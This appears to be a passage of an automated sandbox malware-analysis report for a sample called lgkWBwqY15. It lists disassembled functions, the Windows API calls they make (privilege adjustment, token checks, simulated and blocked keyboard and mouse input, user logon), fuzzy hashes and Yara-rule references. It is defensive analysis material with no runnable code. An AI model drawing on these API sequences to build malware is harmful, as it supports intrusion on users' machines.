                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseControlCreateDeviceFileHandle
                                                                                      • String ID:
                                                                                      • API String ID: 33631002-0
                                                                                      • Opcode ID: 9bf082ebfcbcb10a1310a57855450f8bc3b50726c16129f759a4de62980d068b
                                                                                      • Instruction ID: 9c02183841be5508eaf7649aac736b53b21a12e59e3d0fcaa2131aa2bd729b1b
                                                                                      • Opcode Fuzzy Hash: 9bf082ebfcbcb10a1310a57855450f8bc3b50726c16129f759a4de62980d068b
                                                                                      • Instruction Fuzzy Hash: 07115E71E11228BFDB148FA5DC45BAEBBBCEB45B50F104152F900E6290D3B05A058BA1
                                                                                      Function 005E71FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 005E7223
                                                                                      • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 005E723A
                                                                                      • FreeSid.ADVAPI32(?), ref: 005E724A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                      • String ID:
                                                                                      • API String ID: 3429775523-0
                                                                                      • Opcode ID: 62f76c90fce5e29ea5262cac48204ad58d8a1a183a0c63007e34b670e9f2415d
                                                                                      • Instruction ID: ad7743268116e0204110e0958050781a0e62d33b6915d50bf6a0b09415f1457a
                                                                                      • Opcode Fuzzy Hash: 62f76c90fce5e29ea5262cac48204ad58d8a1a183a0c63007e34b670e9f2415d
                                                                                      • Instruction Fuzzy Hash: D8F01D76A04209BFDF04DFE4DD89AEEBBB9FF08201F105469A602E2191E3709A458B54
                                                                                      Function 005EF56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 005EF599
                                                                                      • FindClose.KERNEL32(00000000), ref: 005EF5C9
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Find$CloseFileFirst
                                                                                      • String ID:
                                                                                      • API String ID: 2295610775-0
                                                                                      • Opcode ID: 2f44881d9289c0b00e13f4b698d1944fd22764a2f8888fa48d25c8ad058b15c8
                                                                                      • Instruction ID: 647d7d4a68a1c115b55c2c22bba7fd07e3582c5efd26d0b732ffd0fb0e3eca89
                                                                                      • Opcode Fuzzy Hash: 2f44881d9289c0b00e13f4b698d1944fd22764a2f8888fa48d25c8ad058b15c8
                                                                                      • Instruction Fuzzy Hash: 4311A1316006019FD714EF29D849A2EBBE9FF94324F00891EF8A5D7291CB30AD018B91
                                                                                      Function 005ECE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,005FBE6A,?,?,00000000,?), ref: 005ECEA7
                                                                                      • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,005FBE6A,?,?,00000000,?), ref: 005ECEB9
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorFormatLastMessage
                                                                                      • String ID:
                                                                                      • API String ID: 3479602957-0
                                                                                      • Opcode ID: b4fa0785ca7a1541c643de05f39c842327f163282c5e334b225ba7656d864a6a
                                                                                      • Instruction ID: aaf97416ed012dd92979cb3ba02cdf1aa64ed2fd2ec1a30a91ad74493f052407
                                                                                      • Opcode Fuzzy Hash: b4fa0785ca7a1541c643de05f39c842327f163282c5e334b225ba7656d864a6a
                                                                                      • Instruction Fuzzy Hash: D5F08231100229FBDB219BA4DC49FEA7B6EBF09351F004165F915D6181D630DA45CBA0
                                                                                      Function 005E411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 005E4153
                                                                                      • keybd_event.USER32(?,7608C0D0,?,00000000), ref: 005E4166
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InputSendkeybd_event
                                                                                      • String ID:
                                                                                      • API String ID: 3536248340-0
                                                                                      • Opcode ID: cf0d56d478e9e5840851043203b382ed8927b3914522e694fad2922bbb9878c1
                                                                                      • Instruction ID: 13d5db3beae2d428e0c695c7367d114ebef6a62e16ec433448534a85c45503d2
                                                                                      • Opcode Fuzzy Hash: cf0d56d478e9e5840851043203b382ed8927b3914522e694fad2922bbb9878c1
                                                                                      • Instruction Fuzzy Hash: 1FF06D7080028DAFDF098FA1C805BBE7FB0FF00305F008409F965A6191D7B98612DFA0
                                                                                      Function 005DAB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,005DACC0), ref: 005DAB99
                                                                                      • CloseHandle.KERNEL32(?,?,005DACC0), ref: 005DABAB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AdjustCloseHandlePrivilegesToken
                                                                                      • String ID:
                                                                                      • API String ID: 81990902-0
                                                                                      • Opcode ID: 90f614ae9c4160b225a360de668ad66d26ee3ccc1e2cf9766f28858b3b4f9ea9
                                                                                      • Instruction ID: 3affee641a1373f21d82010d81e83803c1f83eed8d7a97aaca33d063293e68fb
                                                                                      • Opcode Fuzzy Hash: 90f614ae9c4160b225a360de668ad66d26ee3ccc1e2cf9766f28858b3b4f9ea9
                                                                                      • Instruction Fuzzy Hash: C8E0E671000911AFE7352F54EC09DB77BEAFF44321710842AF45981470D7726CD1DB50
                                                                                      Function 005C81AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,005C6DB3,-0000031A,?,?,00000001), ref: 005C81B1
                                                                                      • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 005C81BA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ExceptionFilterUnhandled
                                                                                      • String ID:
                                                                                      • API String ID: 3192549508-0
                                                                                      • Opcode ID: e4932cbaeb89b77800ae0e85a8d80117bc0169a75a0953269ef286794205b979
                                                                                      • Instruction ID: 4eb0c3b86ac8f0ef451ce6ebd42ece48e4983db4fc150efd230d19b95a3d8754
                                                                                      • Opcode Fuzzy Hash: e4932cbaeb89b77800ae0e85a8d80117bc0169a75a0953269ef286794205b979
                                                                                      • Instruction Fuzzy Hash: 86B09231044A08FBEB106BA1EC09B587F6AEB0A692F105010F60D880618B7254128A92
                                                                                      Function 005CD1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 8b9e02a6452b8a371c9412e748a466f466c967d5d0dc925c5181b26e811b4593
                                                                                      • Instruction ID: 1f356f518396ab536f7dae8ab6dac766b433cb2835bb4e4148fd84c8c1da9a83
                                                                                      • Opcode Fuzzy Hash: 8b9e02a6452b8a371c9412e748a466f466c967d5d0dc925c5181b26e811b4593
                                                                                      • Instruction Fuzzy Hash: 71320131D29F024DD7239634C832336A6A9BFB73D4F15E73BE819B59A6EB28C4834150
                                                                                      Function 005A96C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __itow__swprintf
                                                                                      • String ID:
                                                                                      • API String ID: 674341424-0
                                                                                      • Opcode ID: 14706118c38143a90d8fd430d2036c1aedb3c41084d92bdaae22f5e2e02a6956
                                                                                      • Instruction ID: b36522110c34408dc3de5336734d4df4a48082edebeed9650091a1fbb5e896e8
                                                                                      • Opcode Fuzzy Hash: 14706118c38143a90d8fd430d2036c1aedb3c41084d92bdaae22f5e2e02a6956
                                                                                      • Instruction Fuzzy Hash: D42295716083129FD724DF24C885BAFBBE5BF85310F14491EF89A8B291DB71E944CB92
                                                                                      Function 005D038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 0bf8e6a7b30289a783045a7fe14f0a642afac708f10235fdba4afeb32a54c256
                                                                                      • Instruction ID: 07c2ea9bdf8916a39ec80192fef211ddb33d4ebbcbe7d6fb73fef57507efc935
                                                                                      • Opcode Fuzzy Hash: 0bf8e6a7b30289a783045a7fe14f0a642afac708f10235fdba4afeb32a54c256
                                                                                      • Instruction Fuzzy Hash: 22B11420D2AF414DC32396388971336BA5DAFBB2D5F91E71BFC1775E62EB2281834180
                                                                                      Function 005EB6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __time64.LIBCMT ref: 005EB6DF
                                                                                        • Part of subcall function 005C344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,005EBDC3,00000000,?,?,?,?,005EBF70,00000000,?), ref: 005C3453
                                                                                        • Part of subcall function 005C344A: __aulldiv.LIBCMT ref: 005C3473
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Time$FileSystem__aulldiv__time64
                                                                                      • String ID:
                                                                                      • API String ID: 2893107130-0
                                                                                      • Opcode ID: 38172e3c831593a5ae244d03d25c0fc4e53ace3c588baaafd9499cc24df840cb
                                                                                      • Instruction ID: 416ab511e5d7e26110d27c788cba1e57d0bf3ff19e6ddeb5e30537ecb6cc022a
                                                                                      • Opcode Fuzzy Hash: 38172e3c831593a5ae244d03d25c0fc4e53ace3c588baaafd9499cc24df840cb
                                                                                      • Instruction Fuzzy Hash: 8421AF726345518BD729CF39C881A92BBE1EB95311B248E6DE0E5CB2C0CB74BA05DB54
                                                                                      Function 005F6AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • BlockInput.USER32(00000001), ref: 005F6ACA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BlockInput
                                                                                      • String ID:
                                                                                      • API String ID: 3456056419-0
                                                                                      • Opcode ID: 908861a0376b59955f208a1ea8ce848250753a4801938655c37437020e39e486
                                                                                      • Instruction ID: e19c3babe5fce1a893971661f208fffae7bfdba33cbcc1a957464679da51c71d
                                                                                      • Opcode Fuzzy Hash: 908861a0376b59955f208a1ea8ce848250753a4801938655c37437020e39e486
                                                                                      • Instruction Fuzzy Hash: 90E01235200205AFC740EF59D40899ABFEDBFA4751F048456EA45D7291DAB4F8048BA0
                                                                                      Function 005E74E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 005E750A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: mouse_event
                                                                                      • String ID:
                                                                                      • API String ID: 2434400541-0
                                                                                      • Opcode ID: cefe9d73cb1ecef0b8ee80f78a0834862fc9c02571ad7fe8bcd790128630aeda
                                                                                      • Instruction ID: 5e5ede454db803a5dcb19f1f92235e85010cb6bc8711c9b7a302f9e6c3031274
                                                                                      • Opcode Fuzzy Hash: cefe9d73cb1ecef0b8ee80f78a0834862fc9c02571ad7fe8bcd790128630aeda
                                                                                      • Instruction Fuzzy Hash: 2BD09EB416C69D7AED2D0B269C1FFB71D09F348781FD4594A7693D90C0A8D45D41A031
                                                                                      Function 005DB106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,005DAD3E), ref: 005DB124
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LogonUser
                                                                                      • String ID:
                                                                                      • API String ID: 1244722697-0
                                                                                      • Opcode ID: edd8c6c6903180678b1c59b6ff674978df1590572494389e761cc37c79b953aa
                                                                                      • Instruction ID: 7580c85bf169da142951a5dd481bc3e7351953bfafd9b2e95430d9626281692b
                                                                                      • Opcode Fuzzy Hash: edd8c6c6903180678b1c59b6ff674978df1590572494389e761cc37c79b953aa
                                                                                      • Instruction Fuzzy Hash: CBD05E320A4A0EAEDF024FA4DC02EAE3F6AEB04700F408110FA11C50A0C671D532AB50
                                                                                      Function 0061B340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: NameUser
                                                                                      • String ID:
                                                                                      • API String ID: 2645101109-0
                                                                                      • Opcode ID: 2774fcf4710b6bc1ef20c6eb5afec8ee3c7ee5d41e918621b7c66e43290fd0de
                                                                                      • Instruction ID: f4f60857ca75fea371fadfa41c59d98a32e3ee3259349183832004766837c2cc
                                                                                      • Opcode Fuzzy Hash: 2774fcf4710b6bc1ef20c6eb5afec8ee3c7ee5d41e918621b7c66e43290fd0de
                                                                                      • Instruction Fuzzy Hash: AEC04CB1401509DFC751CFC0C9449EEB7BDAB04305F1450919105F1110D7709B869B72
                                                                                      Function 005C8189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetUnhandledExceptionFilter.KERNEL32(?), ref: 005C818F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ExceptionFilterUnhandled
                                                                                      • String ID:
                                                                                      • API String ID: 3192549508-0
                                                                                      • Opcode ID: 9ae8c885914298bc846edfdc2160d7c637a6c391035de26a6d984e45c30b3350
                                                                                      • Instruction ID: 0dfcde4586b62764d11625031aa57a2ebe26eb215d2e2e7cd8de90c411975beb
                                                                                      • Opcode Fuzzy Hash: 9ae8c885914298bc846edfdc2160d7c637a6c391035de26a6d984e45c30b3350
                                                                                      • Instruction Fuzzy Hash: A9A0223000020CFBCF002F82FC088883F2EFB022E0B200020F80CC0030CB33A8228AC2
                                                                                      Function 005A93F0 Relevance: .5, Instructions: 531COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: ba0bcb0465c7774dbbf9ddce2325e3c6db36ce7fa92c3e4ac3d443256d266cf1
                                                                                      • Instruction ID: ec13bd1df98db37e54c7e1ac1d617e55ee1b5b104e364af570a3504cdf83bad3
                                                                                      • Opcode Fuzzy Hash: ba0bcb0465c7774dbbf9ddce2325e3c6db36ce7fa92c3e4ac3d443256d266cf1
                                                                                      • Instruction Fuzzy Hash: D8129E70A0021ADFDF04DFA9D995AEEBBF6FF49300F144529E406E7290EB35A961CB50
                                                                                      Function 005AE3E3 Relevance: .5, Instructions: 521COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
